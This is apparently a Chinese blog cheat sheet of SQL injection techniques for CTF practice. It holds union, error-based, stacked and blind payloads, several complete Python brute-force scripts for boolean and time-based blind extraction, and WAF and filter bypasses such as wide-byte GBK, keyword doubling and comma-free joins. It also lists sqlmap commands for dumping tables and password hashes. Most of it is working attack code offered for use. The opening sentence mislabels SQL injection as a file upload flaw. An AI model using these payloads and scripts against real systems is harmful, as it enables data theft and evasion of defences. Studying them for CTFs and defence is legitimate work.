SQL注入汇总

tiran Lv1
  • 文件上传漏洞是指在执行sql语句时,未对用户输入的参数没有经过严格的过滤处理,通过构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

sql注入分类

按照查询类型 => 字符型,数字型

  • 字符型即为输入是字符串,数字型即为整型

按照注入方式分类

  • union联合注入
  • 报错注入
  • 布尔注入
  • 时间盲注

判断为数字型还是字符型

  1. 用id=1 and 1=1 和 id=1 and 1=2

    提交and 1=1和提交 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入

    提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入

  2. 用引号报错来判断

    看报错这样根据报错信息还能确定如果是字符型 需要怎么去闭合前面的引号

    1
    ?id=1'''

    首尾两个引号为报错带的,所以闭合方式为一个单引号

    其他还有以下几种闭合方式

闭合的作用

手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可
以用注释符号--+#%23注释掉

常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
database()查询数据库名
group_cancat()把结果输出到一行
concat()合并字符串
rand()随机返回0~1之间的小数
floor()向下取整
ceiling()向上取整
concat_ws()将括号内的值用第一个字段
group by 分组语句,常用于结合统计函数,根据一个或多个列,对结果集进行分组
as 别名
count()汇总统计数量
substr()/substring()控制字符输出长度
limit()用于显示指定行数
ascii()将字母转换为对应的ascii码
sleep()休眠指定时间
load_file()加载本地文件系统中的文件,并将其作为字符串返回
extractvalue()对XML文件进行查询,会返回目标XML文件中所包含查询之的字符串
updatexml()修改XML文件
addslashes()在指定的预定义字符进行转义

union联合注入

因为在使用union联合注入时要保证select语句列数一致

使用得通过group by 与 order by判断列的数量(二分法

1
2
id=1' group by 4;--+
id=1' order by 4;--+

判断回显位

要使id=-1来使前面为空错误,然后显示我们后面的select

1
?id=-1' union select 1,2,3;

观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。

在查询表名与列名时使用information_schema数据库,在其中有tablesclolumns两个表
其中tables是所有表名集合columns是所有列名集合

有些题目flag不在当前数据库

所以得查询有哪些库

1
union select schema_name from information_schema.schemata

查询当前数据库中有哪些表

1
union select group_concat(table_name) from information_schema.tables where table_schema=database();

意思为从information_schema这个数据库的tables这个表中搜索table_name条件为table_schema等于当前数据库

查询当前数据库中users这个表有哪些列名

1
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';

从user表中查询username与password

1
select group_concat(username,'~',password) from user;

报错注入

extractvalue报错注入

extractvalue函数的作用是对XML文档进行查询,使用extractvalue(xml_frag,xpath_expr)函数时,如果
xpath_expr参数不符合xpath的格式,就会报错,所以我们就可以在xpath_expr中放我们所需要的语句从而实现

xml_frag:XML文档对象的名称,是一个string类型
xpath_expr:使用xpath语法格式的路径

1
2
3
union select 1,2,extractvalue(1,concat('~',(select 1,2,database()))) #列数看情况
and 1=extractvalue(1,concat('~',(select 1,2,database()))) #列数看情况
1^extractvalue(1,concat('~',(select 1,2,database())))

后面操作同union联合注入

==ps:==只能报32位,32位后用substring(concat(),32,32)right(password,30)mid(group_concat(flag),1,20)

updatexml报错注入

updatexml函数的作用是对XML文档进行修改,注入原理与extractvalue一样

xml_target:xml文档对象的名称,是一个string类型
xpath_expr:使用xpath的语法格式的路径
new_xml:需要更新的内容

1
2
3
union select 1,2,updatexml(1,concat('~',(select 1,2,database(),1)),1)#列数看情况
and 1=updatexml(1,concat(0x7e,(select database())),1)

==ps:==依旧只能报32位,32位后用substring(concat(),32,32)

floor报错注入

当group by写入键值的速度跟不上rand()函数运行速度的时候,在临时的虚拟统计表内
会发生写入主键重复的情况,从而引起报错

简而言之就是rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

1
select count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from users group by a;

from users,替换from information_schema.tables在这的作用是让rand()产生足够多次数的计算,一般使用行数比较多
的默认数据表

使用group_concat无法显示的时候可以尝试concat

堆叠注入

==使用条件:==调用数据库函数支持执行多条SQL语句时才能够使用,利用mysqli_multi_query()函数就支持多条SQL语句同时执行
堆叠注入和union的区别在于,union后只能接select
而堆叠注入后面可以使用insert,update,create,delete等其他数据库语句

1
2
3
4
5
show databases;
show tables from text;
show columns from FlagHere;
handler `1919810931114514` open as `a`;
handler `a` read next;

二次注入

实行二次注入的先决条件是:我们已经将构造的恶意数据存储在数据库当中
当我们储存的恶意数据被读取进入到SQL查询语句时,会造成二次注入

防御者可能在用户输入数据时对特殊字符进行了转义处理,但是恶意数据插入到数据库后被处理的恶意数据又被还原了

当web程序调用恶意数据进行SQL查询时,发生二次注入

1
用户名1'union select database()#

SQL注入思路之文件上传

==使用前提:==当前web的MySQL开放文件路径读写的权限

1
show variables like '%secure%';用来查看mysql是否具有文件读写权限

该利用点需要配合文件上传漏洞一起使用,当攻击目标开放文件上传功能时,我们可以利用SQL当中的相关函数进行恶意的文件上传

DNSlog手注

DNSlog实际上算是盲注的一种,但其效率比布尔和时间盲注的要来的高
使用前提:当前web的MySQL开放文件路径读写的权限

相关函数:load_file()读取文件(可以为一个远程地址

在访问时会先会执行select database()然后带着结果进行dns查询,所以查看dns解析记录即可

盲注

页面没有回显位且没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入

常用函数

1
2
3
ascii //转为ascii
count//数量
length//长度

布尔盲注

页面只返回true与false两种

利用页面返回不同,逐个猜解数据

如下get

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://127.0.0.1:8080/Less-8/'
database = ''

for i in range(1, 100):
for j in range (32, 127):
payload = url + f'?id=1\' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={j}--+'
response = requests.get(payload).text
if 'You' in response:

database += chr(j)
print(database)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests,string,time

url = 'http://172.72.0.1:56276/'

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + '_-{}':
#time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

# 这条语句能查询到当前数据库所有的表名
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'

# 获取所有表名的第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})
print(p)
if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break

如下post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://127.0.0.1:8080/Less-15/'
database = ''

for i in range(1, 100):
for j in range (32, 127):
payload = f'1\' or ascii((select count(schema_name) from information_schema.schemata))={j}#' #!!!!!!!!!一定要用#不可以--+
data = {'passwd':'1', 'uname':payload}
#print(data)
response = requests.post(url=url, data=data).text
#print(response)
if 'flag' in response:
database += chr(j)
print(database)
break

时间盲注

前提为数据库会执行命令代码只是不反馈页面信息

页面没有变化,所以通过sleep的时间来判断

sleep被禁用benchmark(100000, SHA1("jaduiwq"));

或者笛卡尔

1
2
3
4
5
6
7
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C 表可以是同一张表

如下get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time
import requests

url = 'http://127.0.0.1:8080/Less-10/'

database_name = ""

for i in range(1, 100):
for j in range(32, 128):
payload = url + f"?id=1\" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={j},sleep(1.5),sleep(0))--+"
#print(payload)
start_time = time.time()
response = requests.get(payload).text
end_time = time.time()
use_time = end_time - start_time

if use_time >= 1.5:
#print(j)
database_name += chr(j)
print(database_name)


等号被过滤用二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import requests

url = 'http://8c6872cb-c952-48d0-a1d4-e966d332a5b3.node5.buuoj.cn:81/'

database_name = ""
for i in range(1, 100):
left = 32
right = 128
mid = (left + right) // 2
while left < right:
payload = url + f"?id=1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"
start_time = time.time()
r = requests.get(payload).text
end_time = time.time()
use_time = end_time - start_time

if use_time > 2:
left = mid + 1
else:
right = mid
mid = (left + right) // 2

#print(mid)
database_name += chr(mid)
print(database_name)

绕过及一些知识点

过滤空格

  • 用以下代替
1
/**/,%0a,%a0,%20,%09,%0c,%0b,%0d
  • 或用括号包裹如下

  • 或者报错注入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    1'or(updatexml(1,concat(0x7e,(database())),1))#
    1'or(extractvalue(1,concat(0x7e,(database()))))#

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#
    1'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))#//30

过滤引号

使用16进制绕过

会使用到引号的地方一般是在最后的where子句中。如下面的一条SQL语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

1
select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的SQL语句就变为了:

1
select column_name  from information_schema.tables where table_name=0x7573657273`

过滤select,union

  • 大小写
  • 复写
  • 使用<>符号绕过
1
2
3
4
5
-- 原始注入语句
UNION SELECT 1,2,3

-- 绕过过滤器后的注入语句
UN<>ION SEL<>ECT 1,2,3

如果是union select尝试堆叠注入用show最后读数据handler

1
2
3
show databases;
show tables from text;
show columns from FlagHere;

如**[强网杯 2019]随便注**

1
2
handler `1919810931114514` open as `a`;
handler `a` read next;

==mysql8新特性==:引入了table与values

TABLE statement

SELECT相似,作用是列出表中所有内容

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

如下显示的 union是 等效于以下语句:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> SELECT * FROM t1 UNION SELECT * FROM t2;
table t`简单理解成`select * from t
mysql> TABLE t1 UNION TABLE t2;

+---+----+
| a | b |
+---+----+
| 2 | 10 |
| 5 | 3 |
| 7 | 8 |
+---+----+
3 rows in set (0.00 sec)

与SELECT的区别

1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

可以用来获取所有表名

1
table information_schema.schemata;

Values statement

VALUES是一个 DML 语句,它 以表形式返回一组一行或多行。换句话说,它 是一个表值构造函数,也可以作为一个独立的 SQL 语句。

参考官方文档

1
2
3
4
5
6
7
8
9
10
11
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:

ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

举例:

1
2
3
4
5
6
7
8
9
mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8) ORDER BY column_1;
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | -2 | 3 |
| 4 | 6 | 8 |
| 5 | 7 | 9 |
+----------+----------+----------+
3 rows in set (0.00 sec)

同时VALUES也可以与 select 语句或 table语句联合使用。
可用来判断列数,报错说明列数不对,可以代替order by进行列数盲注

1
select * from table where id=1 union values row(1,2,3)

盲注

因为table不能控制列数,所以如果列数不一样需要盲注

使用如下语句,盲注比较顺序是自左到右,是两个元组进行比较:
比如:(id, user ,passwd) 和 (1 , ‘Tom’, ‘123’ )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
select ((1,'','')<(table user limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

select ((2,'','')<(table user limit 1));
+-----------------------------------+
| ((2,'','')<(table user limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)

select ((1,'T','')<(table user limit 1));
+-----------------------------------+
| ((1, 'T','')<(table useR limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)

注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出

例题,脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import requests
import time
import string
url = 'http://127.0.0.1:8080/'
chars="0123456789_abcdefghijklmnopqrstuvwxyz{}!?" #26+10+1+4=


def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
def dbs():
for num in range (10):
i = 0
j = 0
db = ''
while True:
head = 32
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) //2
payload = f"1 and ('def',{str2hex(db+chr(mid))},'',4,5,6)>(table information_schema.schemata limit "+str(num)+",1)--+"
param = "?id=" + payload
#data = {"id": payload}
r = requests.get(url+param)
#r = requests.post(url, data=data)
if "psych" in r.text:
tail = mid
else:
head = mid+1
if head != 32:
if( chr(head-1)==' 'and db[-1]==' ' ):
break
db+= chr(head-1)
print(db)
else:
break

def tables_n(): #无列名盲注爆数据表开始行数(可修改)
#修改数据库名
database='cnss'
payload = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url +"?id="+ payloads
r = requests.get(url=urls)
if 'psych' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1 and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + "?id="+payld
res = requests.get(url=urls)
#print(i)
if 'psych' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
return n

def tables():
#获取爆数据表开始行数
#num=tables_n()
num=322
#修改数据库名
database='cnss'
table = ''
i = 0
j = 0
while True:
head = 32
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) //2
#需要自行更换数据库名字
payload = f"1 and ('def','{database}',{str2hex(table+chr(mid))},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+str(num)+",1)--+"
param = "?id=" + payload
#data = {"id": payload}
r = requests.get(url+param)
#r = requests.post(url, data=data)
if "psych" in r.text:
tail = mid
else:
head = mid+1
if head != 32:
if(chr(head-1)==' 'and table[-1]==' ' ):
break
table+= chr(head-1)
print(table)
else:
break


def columns_n(): #无列名盲注爆字段开始行数(可修改)
#可修改数据库名和表名
database='cnss'
table='cn55'
payload = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(3400,10000):
payloads = payload.format(i)
urls = url + "?id="+payloads
r = requests.get(url=urls)
if 'psych' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1 and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + "?id="+payld
res = requests.get(url=urls)
#print(i)
if 'psych' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
return n

def columns():
#获取爆数据表开始行数
#num=columns_n()
num=3355
#可修改数据库名和表名
database='cnss'
table='cn55'
column = ''
i = 0
j = 0
while True:
head = 20
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) //2
#需要自行更换数据库名字
payload = f"1 and ('def','cnss','cn55',{str2hex(column+chr(mid))},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+str(num)+",1)--+"
param = "?id=" + payload
#data = {"id": payload}
r = requests.get(url+param)
#r = requests.post(url, data=data)
if "psych" in r.text:
tail = mid
else:
head = mid+1
if head != 32:
if(chr(head-1)==' 'and column[-1]==' ' ):
break
column+= chr(head-1)
print(column)
else:
break
def datas():
#可修改数据库名和表名
database='cnss.'
table=database+'cn55'
column = ''
num=7
i = 0
j = 0
while True:
head = 32
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) //2
#需要自行更换列数,可以补0
payload = f"1 and ('{num+1}',binary'{column+chr(mid)}')>(table {table} limit "+str(num)+",1)--+"
param = "?id=" + payload
#data = {"id": payload}
r = requests.get(url+param)
#r = requests.post(url, data=data)
if "psych" in r.text:
tail = mid
else:
head = mid+1
if head != 32:
column+= chr(head-1)
print(column)
else:
break

if __name__ == '__main__':
#dbs()
datas()

采用二分法来提高盲注速度,但同样有缺点,当数据库不区分大小写时,盲注的结果会出错,我的解决办法是,使用binary字段来区分大小写。

大小写的问题。在对最后数据表的字段爆破的时候,最好加上binary,我猜测可能是因为这个:

lower_case_table_names 的值:

如果设置为 0,表名将按指定方式存储,并且在对比表名时区分大小写。
如果设置为 1,表名将以小写形式存储在磁盘上,在对比表名时不区分大小写。
如果设置为 2,则表名按给定格式存储,但以小写形式进行比较。
此选项还适用于数据库名称和表别名。有关其他详细信息,请参阅第 9.2.3 节 “标识符区分大小写”。

由于 MySQL 最初依赖于文件系统来作为其数据字典,因此默认设置是依赖于文件系统是否 区分大小写。

在 Windows 上,默认值为 1。在 macOS 上,默认值是 2。在 Linux 上,不支持值 2;服 务器会将该值设置为 0。

因为题目大多是在linux上,所以这个的值为0,所以爆表名库名之类的时候,即使不加上binary,也会区分大小写,但是对于真正的数据表,如果不加上binary的话,是不区分大小写的,所以会出问题。

1.判断列数

使用order by语句判断:

1
2
1 order by 2--+   
1 order by 3--+

2.使用values判断回显位

1
-1  union values row(1,2)--+

3.爆库爆表爆字段爆数据

  • database()

    1
    2
    -1' union values row(1,database(),3)--+
    #或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s
  • 爆所有库,通过limit控制第几个库名
    ```r information_schema.schemata`表有6列
    因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1 and (‘def’,’m’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显正常
1 and (‘def’,’n’,’’,4,5,6)<=(table information_schema.schemata limit 0,1)–+ #回显错误
得到第1个数据库名的第一个字符为m

1
2
3
4
5
6
7
8
#### 4. 爆数据表

`information_schema.tables`表有21列

```sql
1 and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 310,1)--+ #第一个表users

1 and ('def','security','secret','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 311,1)--+ #第二个表secret

前两个字段都是确定的,第二个是数据库名。

注意:还需要爆破数据表所在的行也就是 limit 310

5. 爆字段名

information_schema.columns表有22列 ,方法和上面一样,同样需要爆破数据列所在的行数

1
2
3
4
1 and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3380,1)--+ #users表第一个字段为id


1 and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3381,1)--+ #users表,第二个字段为username

6. 爆数据

通过limit控制数据的行

1
2
3
#table users limit 1也就是table users limit 0,1
#1 and (1,'d','')<=(table users limit 0,1)--+ #正常
#1 and (1,'e','')<=(table users limit 0,1)--+ #错误

过滤注释符

  • --+,#,%23

  • ?id=1' and '1'='1或其他符号闭合右边

过滤and,or

  • 大小写绕过如?id=1' anD 1=1--+

  • 复写?id=1' anandd 1=1--+

  • &&代替and

  • ||代替or

宽字节绕过addslashes()

  • GBKB编码
    GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从 8140至FEFE(剔除xx7F),首节在81-FE之间,尾字节在40-FE之间,共23940个码位,共收录 了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1 中的全部中日韩汉字,并包含了BIG5编码中的所有汉字
  • 字符\的ASCII码为5C,在其低位范围内,就可能被转换为一个服务器数据库不识别的汉字,能和 它组合的字符如0xdf,%815c.%825c%835c等都可以进行宽字节注入。
  • Mysql在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符,和经过转义 过后多出来的组合成两个字符,变成Mysql数据库不识别的汉字字符,导致对单引号、双引号的 转义失败,使其参数闭合。
  • 输入%df,本来会转义单引号’为,但(%5c)编码位为92,%df的编码位为223, %df%5c符合GBK取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字,这 样\就会失去应有的作用

==ps:==宽字节注入的前提:对方Mysql数据库的编码方式是GBK编码,并且发送请求时声明客户端用的也是GBK
编码

在前面加%df

对返回进行限制绕过

返回逻辑

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

利用REPLACE(string, old_substring, new_substring)

payload如replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')

联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

例如 [GXYCTF2019]BabySQli

去重复替换union select

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

1
2
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;

使用 join 绕过逗号

使用 join 自连接两个表

1
union select 1,2 

变为

1
union select * from (select 1)a join (select 2)b

a 和 b 分别是表的别名

1
2
3
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截。

过滤information_schema

  1. 获得表名
    sys.schema_auto_increment_columns
    在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。

    可以看出不仅保存了表名和数据库名,还保存了自增字段的列名。
    所以当我们通过database()获得数据库名后就可以利用这个视图去获得带有自增列的表名和列名。

  2. schema_table_statistics_with_buffer

  3. schema_table_statistics

  4. schema_index_statistics

  5. mysql.innodb_table_stats

==mysql8新增==:information_schema.TABLESPACES_EXTENSIONS

从mysql8.0.21开始出现的,但是table关键字是出现在8.0.19之后,所以如果想要使用,还是要试试这个表有没有,如果题目的mysql版本正好在8.0.19-8.0.21之间的话,就不能用了。

这个表好用就好用在,它直接存储了数据库和数据表:

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> table information_schema.TABLESPACES_EXTENSIONS;
+------------------+------------------+
| TABLESPACE_NAME | ENGINE_ATTRIBUTE |
+------------------+------------------+
| mysql | NULL |
| innodb_system | NULL |
| innodb_temporary | NULL |
| innodb_undo_001 | NULL |
| innodb_undo_002 | NULL |
| sys/sys_config | NULL |
| users/users | NULL |
+------------------+------------------+
7 rows in set (0.00 sec)

看到最后的users/users,因为我创建了一个users数据库,里面有users数据表。所以有了这个,就会方便很多。

jion报错获取列名

这一部分要依赖于重复的列名导致的报错,从而获得列名。
构造要依赖于上文得到的表名信息
假设已经获得了security的一个表名为user

1
2
select * from (select * from users as a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'

可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名

1
2
3
4
5
6
mysql> select * from (select * from users as a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
得到username
mysql> select * from (select * from users as a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
得到password

如果没有报错,表示已经获得所有的列名
查询会得到所有的数据

无列名注入

1
1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3

通过ascii位移来获得flag

1
2
3
4
5
6
7
8
9
10
11
12
select (select "a")  > (select "abcdef")
0

select (select "b") > (select "abcdef")
1

这里能发现 是通过比对 首个字符的ascii 如果小于等于 就输出 0 大于就输出 1
select (select "ab") > (select "abcdef")
0

select (select "ac") > (select "abcdef")
1

工具

sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

--data

这种不需要将数据进行保存,我们只需要将post数据复制下来

sqlmap -u --data="key=value"

5、cookie注入
--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'
1
2
3
4
5
6
7
8
9
获取用户
6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users
1
2
3
4
5
获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。
1
2
3
4
5
6
WAF绕过
--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
其他
--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
  • 标题: SQL注入汇总
  • 作者: tiran
  • 创建于 : 2025-06-25 18:41:50
  • 更新于 : 2025-06-25 20:06:37
  • 链接: https://tiran.cc/2025/06/25/SQL注入汇总/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。